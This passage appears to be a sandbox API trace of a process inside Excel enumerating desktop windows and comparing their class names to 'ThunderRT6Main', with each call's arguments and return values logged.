GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0091.739] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0091.739] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.739] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0091.739] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.739] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.739] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.739] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0091.739] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.739] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.739] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.739] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0091.739] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0091.739] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0091.739] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0091.739] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0091.740] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.740] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.740] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0091.740] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0091.740] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0091.740] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0091.740] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.740] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0091.740] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0091.740] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0091.740] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0091.740] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0091.740] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.740] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.740] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0091.740] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0091.740] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0091.740] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0091.740] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.740] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0091.740] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0091.740] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0091.740] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0091.740] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0091.740] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0091.740] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0091.740] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0091.740] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0091.740] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.740] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.740] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0091.740] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0091.740] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0091.741] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0091.741] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0091.741] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0091.741] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.741] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.741] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0091.741] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0091.741] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0091.741] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0091.741] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0091.741] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x20352 [0091.741] GetClassNameA (in: hWnd=0x20352, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0091.741] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0091.741] GetWindowThreadProcessId (in: hWnd=0x20352, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0091.741] GetWindow (hWnd=0x20352, uCmd=0x2) returned 0x302d8 [0091.741] GetClassNameA (in: hWnd=0x302d8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.741] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.741] GetWindowThreadProcessId (in: hWnd=0x302d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd6c [0091.741] GetWindow (hWnd=0x302d8, uCmd=0x2) returned 0x302d6 [0091.741] GetClassNameA (in: hWnd=0x302d6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0091.741] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0091.741] GetWindowThreadProcessId (in: hWnd=0x302d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xd54 [0091.741] GetWindow (hWnd=0x302d6, uCmd=0x2) returned 0x100ec [0091.741] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0091.741] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0091.741] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0091.741] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0091.741] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a0fe0 [0091.742] IMalloc:Free (This=0x7fefecb5380, pv=0x76a0fe0) [0091.795] GetCurrentThreadId () returned 0xbdc [0091.795] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0091.795] GetDesktopWindow () returned 0x10010 [0091.795] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0091.795] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.795] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.795] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.795] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0091.795] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.795] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.795] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.795] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0091.795] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.795] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.795] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.795] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0091.795] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0091.795] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0091.795] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0091.795] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0091.795] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.795] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.795] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0091.795] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0091.795] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0091.795] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0091.796] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0091.796] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0091.796] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.796] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.796] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.796] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0091.796] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.796] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.796] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.796] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0091.796] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.796] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.796] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.796] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0091.796] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.796] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.796] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.796] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0091.796] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.796] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.796] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.796] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0091.796] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.796] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.796] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.796] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0091.796] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.796] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.796] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.796] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0091.797] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0091.797] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0091.797] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.797] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0091.797] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.797] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.797] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.797] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0091.797] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0091.797] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0091.797] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.797] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0091.797] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0091.797] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0091.797] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.797] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0091.797] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.797] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0091.797] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0091.797] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.797] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.797] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0091.797] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0091.797] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0091.797] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.797] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0091.797] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0091.797] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0091.797] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.798] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0091.798] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0091.798] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0091.798] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0091.798] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.798] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.798] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.798] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0091.798] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0091.798] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0091.798] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0091.798] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0091.798] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0091.798] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.798] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0091.798] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0091.798] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0091.798] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0091.798] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0091.798] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0091.798] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.798] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0091.798] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0091.798] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0091.798] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0091.798] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0091.798] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0091.798] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.798] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0091.798] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0091.798] IsWindowEnabled (hWnd=0x20360) returned 1 [0091.798] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0091.798] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0091.798] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0091.798] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0091.799] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0091.799] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0091.799] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.799] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0091.799] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0091.799] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0091.799] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0091.799] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0091.799] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0091.799] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0091.799] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0091.799] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.799] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0091.799] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0091.799] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0091.799] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0091.799] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0091.799] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0091.799] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.799] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0091.799] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0091.799] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0091.799] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0091.799] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0091.799] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0091.799] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.799] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0091.799] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0091.799] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0091.799] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0091.799] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0091.799] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0091.799] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.799] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0091.799] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0091.799] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0091.800] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0091.800] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0091.800] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0091.800] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0091.800] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0091.800] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.800] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0091.800] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0091.800] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0091.800] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0091.800] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0091.800] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.800] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.800] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.800] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0091.800] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0091.800] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0091.800] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0091.800] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0091.801] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0091.801] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.801] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0091.801] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0091.801] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0091.801] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.801] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0091.801] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.801] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.801] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.801] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0091.801] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0091.801] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.801] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0091.801] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0091.801] GetWindowThreadProcessId (in: hWnd=0x300e4, 